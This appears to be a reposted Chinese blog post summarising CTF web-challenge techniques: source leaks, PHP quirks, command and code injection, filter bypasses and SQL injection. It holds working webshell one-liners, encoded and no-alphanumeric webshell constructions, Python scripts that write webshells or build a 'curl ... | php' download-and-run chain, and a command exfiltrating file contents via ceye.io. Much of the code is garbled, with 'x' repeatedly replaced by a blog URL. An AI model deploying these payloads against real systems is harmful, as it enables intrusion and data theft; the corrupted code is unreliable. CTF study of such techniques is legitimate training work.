我的编程空间,编程开发者的网络收藏夹
学习永远不晚

最全CTF Web题思路总结(更新ing)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

最全CTF Web题思路总结(更新ing)

网上似乎没有一篇比较完整的CTF Web题思路的总结,希望这篇“最全总结”对各位师傅有帮助。

基础

Flag可能出现的位置

网页源代码(注意注释)

数据库中

phpinfo

靶机中的文件

环境变量

题目要求

XFF/Refer/UA/Cookie/F12( view-source: )/URL/robots.thttps://blog.csdn.net/yjprolus/article/details/xt/响应码/

指纹识别

TideFinger/Bscan/Glass/Arjun/Wappalyzer插件

源码和HTTP响应信息

HTTP响应文

错误界面(404/302)

源码泄露

Git

Githack恢复
查看log后选择性地进行git reset回滚
.git/config可能有access_token信息

SVN

Seay-svn/dvcs-ripper工具
注意wc.db文件存在与否

WEB.INF/web.https://blog.csdn.net/yjprolus/article/details/xml泄露

.DS_Store文件泄漏
.hg泄露:dvcs.ripper工具
CVS泄露
备份文件泄露
gedit:filename ~
vim:vim -r filename.swp/.swo/.swn
www.zip/rar/tar.gz

常用一句话

PHP

 @eval($_POST['yj']);?>

ASP

<%eval request ("yj")%>

ASPX

<%@ Page Language="Jscript"%><%eval(Request.Item["yj"],"unsafe");%>

JSP

JSP一句话木马 - 简书 (jianshu.com)

shtml

ssi:<--#include file="..\..\web.config" -->

PHP专题

基础

ctfshow web102

= > and #### 内部类 常用`Ehttps://blog.csdn.net/yjprolus/article/details/xception`,其他可用的有 `DirectoryIterator/FilesystemIterator/SplFileObject/GlobIterator/ReflectionClass/ReflectionMethod` ```php // ctfshow web109/web110 eval("echo new $v1($v2());"); // ?v1=Ehttps://blog.csdn.net/yjprolus/article/details/xception&v2=system('tac fl36dg.thttps://blog.csdn.net/yjprolus/article/details/xt') ``` ### 考题中会出现的函数 #### get_defined_vars() 返回由所有已定义变量所组成的数组 #### call_user_func() 函数把第一个参数作为回调函数,其余参数都是回调函数的参数 #### _() 是一个函数 _()等效于gettehttps://blog.csdn.net/yjprolus/article/details/xt() 是gettehttps://blog.csdn.net/yjprolus/article/details/xt()的拓展函数,需要开启tehttps://blog.csdn.net/yjprolus/article/details/xt扩展。`echo gettehttps://blog.csdn.net/yjprolus/article/details/xt("ctfshownb");` `和 echo _("ctfshownb");` 的输出结果都为 ctfshownb #### parse_str() 函数会将传入的第一个参数设置成变量,如果设置了第二参数,则会将第一个参数的变量以数组元素的形式存入到这个数组。 ```php if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } // payload GET ?v3=1 & POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b # md5解密后对应1 ``` #### strrev() 反转字符串 #### shell_ehttps://blog.csdn.net/yjprolus/article/details/xec() 缩写为`` #### sprintf() `sprintf(format,arg1,arg2,arg++)`: 把格式化的字符串写入一个变量中。arg1、arg2、arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。`%`后的第一个字符,都会被当做字符类型而被吃掉。也就是当做一个类型进行匹配后面的变量。如`%c`匹配ascii码,`%d`匹配整数,如果不在定义中的也会进行匹配,匹配为空。比如`%\`匹配任何参数都为空。 ```php
payload`username = admin%1$' and 1 = 1#`,可以使**单引号逃逸**,导致存在sql盲注。#### mt_rand()`mt_rand(min,mahttps://blog.csdn.net/yjprolus/article/details/x)` ```php 

payload: POST:seed=1&key=1244335972&hello=);system('cat flag.php');echo(0

复杂变量${}

eval('$string = "'.$_GET[cmd].'";');  // payload: http://127.0.0.1/test.php?cmd=${phpinfo()}

file_get_contents()

函数将整个文件或一个url所指向的文件读入一个字符串中

fsockopen()

fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unihttps://blog.csdn.net/yjprolus/article/details/x 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

SoapClient

SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的__call方法,那么__call便方法可以发送HTTP和HTTPS请求。

MD5/SHA1 绕过 // TODO

0e

  sha1('aaroZmOk')//0e66507019969427134894567494305185566735  sha1('aaK1STfY')//0e76658526655756207688271159624026011393  md5('QNKCDZO')//0e830400451993494058024219903391  md5('240610708')//0e462097431906509019562988736854

md5()遇到数组时会警告并且返回null:var_dump(@md5([]) === @md5([])) //bool(true),即null===null

ffifdyop:SQL注入绕过

$password = "ffifdyop";$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";var_dump($sql);

弱类型

is_numeric()绕过:33a或者数组(大于任何值)绕过

字符串比较

比较两个字符串,strcmp(string1, string2)不区分大小写,strcasecmp(string1, string2)区分大小写。若string1 > string2,返回> 0;若string1 < string2,返回< 0;若string1 = string2,返回0。该函数无法处理数组,当出现数组时,返回null。var_dump(@strcmp([],'flag') == 0); //bool(true)

intval()

  var_dump(intval('1'));//int(1)  var_dump(intval('1a'));//int(1)  var_dump(intval('1%001'));//int(1)  var_dump(intval('a1'));//int(0)

trim

利用 trim 及 is_numeric 等函数实现的绕过

// %0c1%00$number = "\f1\0";// trim 函数会过滤 \n\r\t\v\0,但不会过滤过滤\f$number_2 = trim($number);var_dump($number_2); // \f1$number_2 = addslashes($number_2);var_dump($number_2);  // \f1// is_numeric 检测的时候会过滤掉 '', '\t', '\n', '\r', '\v', '\f' 等字符// 但是不会过滤 '\0'var_dump(is_numeric($number)); // falsevar_dump(strval(intval($number_2))); // 1var_dump("\f1" == "1"); // true?>

正则式:/e可执行,构造越界 // TODO

ereg()

搜索字符串以匹配模式中给出的正则表达式,函数区分大小写,匹配可以被%00截断绕过

preg_replace() // TODO 慢慢积累

变量覆盖

$$

ehttps://blog.csdn.net/yjprolus/article/details/xtract()函数

ehttps://blog.csdn.net/yjprolus/article/details/xtract(array, ehttps://blog.csdn.net/yjprolus/article/details/xtract_rules, prefihttps://blog.csdn.net/yjprolus/article/details/x)使用数组键名作为变量名,使用数组键值作为变量值。针对数组中每个元素,将在当前符号表中创建一个对应的变量

 <?php $flag = 'aaa'; ehttps://blog.csdn.net/yjprolus/article/details/xtract($_GET); if (isset($gift)) { $content = trim(file_get_contents($flag)); if ($gift == $content) { echo 'flag{yjprolus}'; } else { echo 'no flag'; } }  ?>     // payload: GET:?flag=&gift=  // ehttps://blog.csdn.net/yjprolus/article/details/xtract()会将flag和gift的值覆盖为空。$content = file_get_contens()的文件为空或不存在时则返回空值(会出现警告),即可以满足条件$gift == $content。

parse_str()

 parse_str("name=Peter&age=43",$myArray);  print_r($myArray);  //Array ( [name] => Peter [age] => 43 )

// TODO 再写几道例题

import_request_variables()

import_request_variables() 函数将 get/post/cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。该函数在最新版本的 php 中已经不支持

似乎没啥考点这个函数,可参考 CTF——PHP审计——变量覆盖_Captain Hammer的博客-CSDN博客_foreach ($_get as $key => $value)

开启了全局变量注册

其他

  • call_user_func(array($ctfshow, ‘getFlag’)); 等于 ctfshow::getFlag (执行ctfshow类中静态方法getFlag)

  • $cmd=$_GET['cmd'];if(preg_match('/^php$/im', $cmd)){           # /i表示不区分大小写,/m表示多行匹配    if(preg_match('/^php$/i', $cmd)){        # 字符 ^ 和 $ 同时使用时,表示精确匹配         echo 'hacker';    }}payload:?cmd=aaa%0aphp            # %0a为换行符,这样是两行
  • // TODO ctfshow web123 
  • // ctfshow web147if(isset($_POST['ctf'])){    $ctfshow = $_POST['ctf'];    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {        $ctfshow('',$_GET['show']);    }}// GET部分原理如下    function f($dotast){        echo 111;    }    phpinfo();//}

    payload:

    GET ?show=echo 123;}system("tac flag.php");//

    POST ctf=\create_function (\为PHP默认命名空间,\phpinfo即为直接调用该函数)

命令执行

相关函数

命令执行

  • system()

    #string system ( string $command [, int &$return_var ] )#system()函数执行有回显,将执行结果输出到页面上<?phpsystem("whoami");?>
  • ehttps://blog.csdn.net/yjprolus/article/details/xec()

    echo ehttps://blog.csdn.net/yjprolus/article/details/xec("whoami");?>
  • popen()

    #resource popen ( string $command , string $mode )#函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行<?php popen( 'whoami >> c:/1.thttps://blog.csdn.net/yjprolus/article/details/xt', 'r' ); ?><?php  $test = "ls /tmp/test";  $fp = popen($test,"r");  //popen打一个进程通道    while (!feof($fp)) {      //从通道里面取得东西   $out = fgets($fp, 4096);   echo  $out;         //打印出来  }  pclose($fp);  ?> 
  • proc_open()

    resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )#与Popen函数类似,但是可以提供双向管道<?php  $test = "ipconfig";  $array =   array(   array("pipe","r"),   //标准输入   array("pipe","w"),   //标准输出内容   array("pipe","w")    //标准输出错误   );    $fp = proc_open($test,$array,$pipes);   //打开一个进程通道  echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  proc_close($fp);  ?> 
  • passthru()

    #void passthru ( string $command [, int &$return_var ] )<?phppassthru("whoami");?>
  • shell_ehttps://blog.csdn.net/yjprolus/article/details/xec()

    #string shell_ehttps://blog.csdn.net/yjprolus/article/details/xec( string &command)<?phpecho shell_ehttps://blog.csdn.net/yjprolus/article/details/xec("whoami");?>
  • 反引号 `

    #shell_ehttps://blog.csdn.net/yjprolus/article/details/xec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_ehttps://blog.csdn.net/yjprolus/article/details/xec时,` 也不可执行<?phpecho `whoami`;?>
  • pcntl_ehttps://blog.csdn.net/yjprolus/article/details/xec()

    #void pcntl_ehttps://blog.csdn.net/yjprolus/article/details/xec ( string $path [, array $args [, array $envs ]] )#path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本#args是一个要传递给程序的参数的字符串数组。#pcntl是linuhttps://blog.csdn.net/yjprolus/article/details/x下的一个扩展,需要额外安装,可以支持 php 的多线程操作。#pcntl_ehttps://blog.csdn.net/yjprolus/article/details/xec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0<?php pcntl_ehttps://blog.csdn.net/yjprolus/article/details/xec ( "/bin/bash" , array("whoami"));?>

代码注入

  • eval()

    #传入的参数必须为PHP代码,既需要以分号结尾。#命令执行:cmd=system(whoami);#菜刀连接密码:cmd<?php @eval($_POST['cmd']);?>
  • assert()

    #assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。#命令执行:cmd=system(whoami)#菜刀连接密码:cmd<?php @assert($_POST['cmd'])?>
  • preg_replace()

    #preg_replace('正则规则','替换字符','目标字符')#执行命令和上传文件参考assert函数(不需要加分号)。#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。preg_replace("/test/e",$_POST["cmd"],"jutst test");
  • create_function()

    #创建匿名函数执行代码#执行命令和上传文件参考eval函数(必须加分号)。#菜刀连接密码:cmd$func =create_function('',$_POST['cmd']);$func();
  • array_map()

    #array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。#命令执行http://localhost/123.php?func=system   cmd=whoami#菜刀连接http://localhost/123.php?func=assert   密码:cmd$func=$_GET['func'];$cmd=$_POST['cmd'];$array[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;
  • call_user_func()

    #传入的参数作为assert函数的参数#cmd=system(whoami)#菜刀连接密码:cmdcall_user_func("assert",$_POST['cmd']);
  • call_user_func_array()

    #将传入的参数作为数组的第一个值传递给assert函数#cmd=system(whoami)#菜刀连接密码:cmd$cmd=$_POST['cmd'];$array[0]=$cmd;call_user_func_array("assert",$array);
  • array_filter()

    #用回调函数过滤数组中的元素:array_filter(数组,函数)#命令执行func=system&cmd=whoami#菜刀连接http://localhost/123.php?func=assert  密码cmd$cmd=$_POST['cmd'];$array1=array($cmd);$func =$_GET['func'];array_filter($array1,$func);
  • uasort()

    #php环境>=<5.6才能用#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmdusort($_GET,'asse'.'rt');

绕过方式

空格

#常见的绕过符号有:$IFS$9${IFS}%09(php环境下)、 重定向符<><#$IFS在linuhttps://blog.csdn.net/yjprolus/article/details/x下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用

命令分隔符

%0a  #换行符,需要php环境%0d  #回车符,需要php环境;    #在 shell 中,是”连续指令”&    #不管第一条命令成功与否,都会执行第二条命令&&   #第一条命令成功,第二条才会执行|    #第一条命令的结果,作为第二条命令的输入||   #第一条命令失败,第二条才会执行

关键字

假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做

  • 拼接绕过

    #执行ls命令:a=l;b=s;$a$b#cat flag文件内容:a=c;b=at;c=f;d=lag;$a$b ${c}${d}#cat test文件内容a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
  • 编码绕过

    #base64echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flagecho Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag#hehttps://blog.csdn.net/yjprolus/article/details/xecho "0https://blog.csdn.net/yjprolus/article/details/x636174202f666c6167" | https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xd -r -p|bash   ==> cat /flag#oct/字节$(printf "\154\163") ==>ls$(printf "\https://blog.csdn.net/yjprolus/article/details/x63\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x74\https://blog.csdn.net/yjprolus/article/details/x20\https://blog.csdn.net/yjprolus/article/details/x2f\https://blog.csdn.net/yjprolus/article/details/x66\https://blog.csdn.net/yjprolus/article/details/x6c\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x67") ==>cat /flag{printf,"\https://blog.csdn.net/yjprolus/article/details/x63\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x74\https://blog.csdn.net/yjprolus/article/details/x20\https://blog.csdn.net/yjprolus/article/details/x2f\https://blog.csdn.net/yjprolus/article/details/x66\https://blog.csdn.net/yjprolus/article/details/x6c\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x67"}|\$0 ==>cat /flag#i也可以通过这种方式写马#内容为${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
  • 单引号和双引号绕过

    c'a't testc"a"t test
  • 反斜杠绕过

    ca\t test
  • 通过$PATH绕过

    #echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成#当执行程序时,shell自动跟据PATH变量的值去搜索该程序#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`echo $PATH| cut -c 8,9`t test
  • 通配符绕过

    1. […]表示匹配方括号之中的任意一个字符
    2. {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
    3. {…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
    cat t?stcat te*cat t[a-z]stcat t{a,b,c,d,e,f}st

限制长度

>a    #虽然没有输入但是会创建a这个文件ls -t    #ls基于基于事件排序(从晚到早)sh a    #sh会把a里面的每行内容当作命令来执行使用|进行命令拼接    #l\ s    =    lsbase64    #使用base64编码避免特殊字符
  • 七字符限制

    w>hpw>1.p\\w>d\>\\w>\ -\\w>e64\\w>bas\\w>7\|\\w>XSk\\w>Fshttps://blog.csdn.net/yjprolus/article/details/x\\w>dFV\\w>kX0\\w>bCg\\w>XZh\\w>AgZ\\w>waH\\w>PD9\\w>o\ \\w>ech\\ls -t|\sh

    翻译过来就是

    echo PD9waHAgZXZhbCgkX0dFVFshttps://blog.csdn.net/yjprolus/article/details/xXSk7 | base64 -d > 1.php

    脚本代码

    import requests url = "http://192.168.1.100/rce.php?1={0}"print("[+]start attack!!!")with open("payload.thttps://blog.csdn.net/yjprolus/article/details/xt","r") as f:for i in f:print("[*]" + url.format(i.strip()))requests.get(url.format(i.strip())) #检查是否攻击成功test = requests.get("http://192.168.61.157/1.php")if test.status_code == requests.codes.ok:print("[*]Attack success!!!")
  • 四字符限制

    #-*-coding:utf8-*-import requests as rfrom time import sleepimport randomimport hashlibtarget = 'http://52.197.41.31/' # 存放待下载文件的公网主机的IPshell_ip = 'https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x' # 本机IPyour_ip = r.get('http://ipv4.icanhazip.com/').tehttps://blog.csdn.net/yjprolus/article/details/xt.strip() # 将shell_IP转换成十六进制ip = '0https://blog.csdn.net/yjprolus/article/details/x' + ''.join([str(hehttps://blog.csdn.net/yjprolus/article/details/x(int(i))[2:].zfill(2))                     for i in shell_ip.split('.')]) reset = target + '?reset'cmd = target + '?cmd='sandbohttps://blog.csdn.net/yjprolus/article/details/x = target + 'sandbohttps://blog.csdn.net/yjprolus/article/details/x/' +     hashlib.md5('orange' + your_ip).hehttps://blog.csdn.net/yjprolus/article/details/xdigest() + '/' # payload某些位置的可选字符pos0 = random.choice('efgh')pos1 = random.choice('hkpq')pos2 = 'g'  # 随意选择字符 payload = [    '>dir',    # 创建名为 dir 的文件     '>%s>' % pos0,    # 假设pos0选择 f , 创建名为 f> 的文件     '>%st-' % pos1,    # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,    # 因为alphabetical序中t>s     '>sl',    # 创建名为 >sl 的文件;到此处有四个文件,    # ls 的结果会是:dir f> kt- sl     '*>v',    # 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,    #  前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl    # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符     '>rev',    # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v     '*v>%s' % pos2,    # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。    # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f     # 续行分割 curl 0https://blog.csdn.net/yjprolus/article/details/x11223344|php 并逆序写入    '>p',    '>ph\',    '>|\',    '>%s\' % ip[8:10],    '>%s\' % ip[6:8],    '>%s\' % ip[4:6],    '>%s\' % ip[2:4],    '>%s\' % ip[0:2],    '> \',    '>rl\',    '>cu\',     'sh ' + pos2,    # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,    # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行    'sh ' + pos0,    # sh f 执行curl命令,下载文件,写入木马。] s = r.get(reset)for i in payload:    assert len(i) <= 4    s = r.get(cmd + i)    print '[%d]' % s.status_code, s.url    sleep(0.1)s = r.get(sandbohttps://blog.csdn.net/yjprolus/article/details/x + 'fun.php?cmd=uname -a')print '[%d]' % s.status_code, s.urlprint s.tehttps://blog.csdn.net/yjprolus/article/details/xt

限制回显

  • 判断

    #利用sleep判断ls;sleep 3#http请求/dns请求http://ceye.io/payloads
  • 利用

    #写shell(直接写入/外部下载)echo >wget#http/dns等方式带出数据#需要去掉空格,可以使用sed等命令echo `cat flag.php|sed s/[[:space:]]//`.php.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.ceye.io

无字母、数字getshell

异或

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';$___=$$__;$_($___[_]); // assert($_POST[_]);

简短写法

"`{{{"^"?<>/"   //_GET

取反

$__=('>'>'<')+('>'>'<');//$__2$_=$__/$__;//$_1$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST$_=$$_____;//$_=$_POST$____($_[$__]);//assert($_POST[2])

简短写法

${~"\https://blog.csdn.net/yjprolus/article/details/xa0\https://blog.csdn.net/yjprolus/article/details/xb8\https://blog.csdn.net/yjprolus/article/details/xba\https://blog.csdn.net/yjprolus/article/details/xab"} //$_GET

自增

$_=[];$_=@"$_"; // $_='Array';$_=$_['!'=='@']; // $_=$_[0];$___=$_; // A$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; // S$___.=$__; // S$__=$_;$__++;$__++;$__++;$__++; // E $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$____.=$__;$_=$$____;$___($_[_]); // ASSERT($_POST[_]);

实例

include'flag.php';if(isset($_GET['code'])){   $code=$_GET['code'];   if(strlen($code)>50){       die("Too Long.");  }   if(preg_match("/[A-Za-z0-9_]+/",$code)){       die("Not Allowed.");  }   @eval($code);}else{   highlight_file(__FILE__);}//$hint = "php function getFlag() to get flag";?> 

payload:

code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

$_="{{{"^"?<>/";=$_="GET";
${$_}[_](${$_}[__]);=$_GET[_]($_GET[__]);=getFlag($_GET[__])=getFlag(null);
这个 payload 的长度是 37 ,符合题目要求的 小于等于40 。另fuzz 出了长度为 28 的 payload ,如下:

$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();#getFlag()

容器和框架漏洞

Nginhttps://blog.csdn.net/yjprolus/article/details/x

IIS

PUT上传漏洞

远程溢出漏洞

短文件漏洞

Apache

HTTP组件提权 CVE-2019-0211

CGI

PHP

ThinkPHP

反序列化

ThinkPHP6.0.12LTS反序列漏洞分析

RCE

Thinkphp5 RCE总结

SQL注入

Discuz

Twig

WordPress

Laravel

Smarty

Java

Struts2

OGNL注入

Spring框架

SPEL注入

组件漏洞

fastjson

反序列化

Hessian

二进制(ObjectOutputStream)

JSON

XML

YAML

JRMP安全性问题

JWT攻击

敏感信息泄露

将算法修改为none

密钥混淆攻击

无效签名

暴力破解密钥

密钥泄露

操纵KID

操纵头部参数

JavaScript

SSJI(服务端JavaScript注入)

Node.js

Vue.js

JavaScript Prototype 污染攻击

Python

沙箱逃逸

利用内建函数执行命令

过滤与bypass

框架

Flask

敏感信息泄露
验证码绕过
SESSION伪造和对象注入漏洞
使用hash而非hmac进行签名(Hash长度拓展攻击)
任意文件读取
加密而未签名(CBC字节翻转攻击)

Tornado

Django

反序列化漏洞

pickle模块

Ruby

ERB模板注入

SQL注入

原理

用户输入的内容传到web应用,没有经过过滤或者严格的过滤,被带入到了数据库中进行执行

分类

联合注入

几大基本步骤

判断是否有注入及注入点类型
是否有注入
  • 加单引号
  • and 8731=8731
  • and ‘a’=‘a’
  • and 1=2
  • or 1=1
  • or 1=2
注入点类型
  • 字符型

    • ’)
    • ”)
    • %‘
  • 数字型

判断查询列数
注意
  • union 前后两个select语句的列数要一致
原理
  • order by是排序的语句

    • select * from users order by id(默认升序)
    • select * from users order by id desc(降序)
    • select * from users order by 1
order by n
联合查询
union
  • id=1’ union select 1,2,3–+
  • id=-1’ union select 1,2,3–+
获取基本信息
version()
  • 获取数据库的版本
database()
  • 获取当前网站使用的数据库
user()
  • 当前网站使用的数据库账号
@@secure_file_priv
  • 数据库的读写文件
@@datadir
  • 数据库的安装目录

    • phpstudy

      • c:\phpstudy\mysql
      • c:\phpstudy\www
    • wamp

      • c:\wamp\mysql
      • c:\wamp\www
    • 宝塔

获取数据库名
information_schema数据库
  • schemata数据表
  • tables数据表
  • columns数据表
schemata数据表里面获取数据库名
  • select schema_name from schemata;
  • id=1’ union select 1,2,group_concat(schema_name) from information_schema.schemata
获取数据表名
tables表
  • select table_name from tables where table_schema=‘security’;
  • select table_name from tables where table_schema=database();
  • id=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
获取列名
columns表
  • select column_name from columns where table_schema=‘security’ and table_name=‘users’;
优化步骤
select table_name,column_name from columns where table_schema=‘security’;###### id=1’ union select 1,2,group_concat(table_name,‘_’,column_name) from information_schema.columns where table_schema=database()
获取数据
md5破解的做法(暴力枚举)

报错注入

几个函数

updatehttps://blog.csdn.net/yjprolus/article/details/xml/ehttps://blog.csdn.net/yjprolus/article/details/xtractvalue
报错的原理
  • 构造不满足https://blog.csdn.net/yjprolus/article/details/xpath语法的内容
报错的语句
  • id=1’ and ehttps://blog.csdn.net/yjprolus/article/details/xtractvalue(1,concat(0https://blog.csdn.net/yjprolus/article/details/x7e,(select user()),0https://blog.csdn.net/yjprolus/article/details/x7e))
注意
  • 版本限制

  • 32位长度限制

    • substr
其他函数

布尔盲注

步骤

获取数据库名
判断有多少个数据库
  • count()
判断第一个数据库名的长度
  • length()
获取第一个每一位数据库名字的字符
  • substr()
  • ascii()
判断第二个数据库名的长度
获取第二个数据库每一位数据库名字的字符
获取数据表名
判断数据库里面有多少个数据表
判断第一个数据库的长度
取第一个数据表的每一位字符
获取列名
获取数据

时间盲注

原理

发送一个请求,网站接受请求,并发送到数据库执行相关的操作,等待数据库返回结果,人为的延长数据库的执行时间,判断是否有注入

步骤

同布尔盲注
if(判断条件,条件为真时返回的值,条件为假时返回的值)
sleep()
benchmark()

堆叠注入

mysqli_query()不支持 VS mysqli_muiti_query()支持

语法

select * from users;create table you(id int);
id=1’;create table you(id int);#

内联注入

子查询

select (select 1)

区别

应用范围

时间盲注>布尔盲注>报错注入=联合注入

利用便捷度

联合注入>报错注入>布尔盲注>时间盲注

利用点

select - 四种基本注入

update- 联合注入不行

insert - 联合注入不行

delete - 联合注入不行

limit之后的注入

order by之后的注入

GET

POST

HTTP Header

Cookie

Referer

User-Agent

绕过

过滤and or

or     ——>   ||and     ——>   &&https://blog.csdn.net/yjprolus/article/details/xor——>|  not——>!十六进制绕过or ——> o\https://blog.csdn.net/yjprolus/article/details/x72大小写绕过OraNd双写绕过oorrananddurlencode,ascii(char),hehttps://blog.csdn.net/yjprolus/article/details/x,unicode编码绕过一些unicode编码举例:单引号:'%u0027 %u02b9 %u02bc%u02c8 %u2032%uff07 %c0%27%c0%a7 %e0%80%a7关键字内联注释尝试绕所有

左括号过滤

urlencode,ascii(char),hehttps://blog.csdn.net/yjprolus/article/details/x,unicode编码绕过%u0028 %uff08%c0%28 %c0%a8%e0%80%a8

右括号过滤

urlencode,ascii(char),hehttps://blog.csdn.net/yjprolus/article/details/x,unicode编码绕过%u0029 %uff09%c0%29 %c0%a9%e0%80%a9

过滤union\select

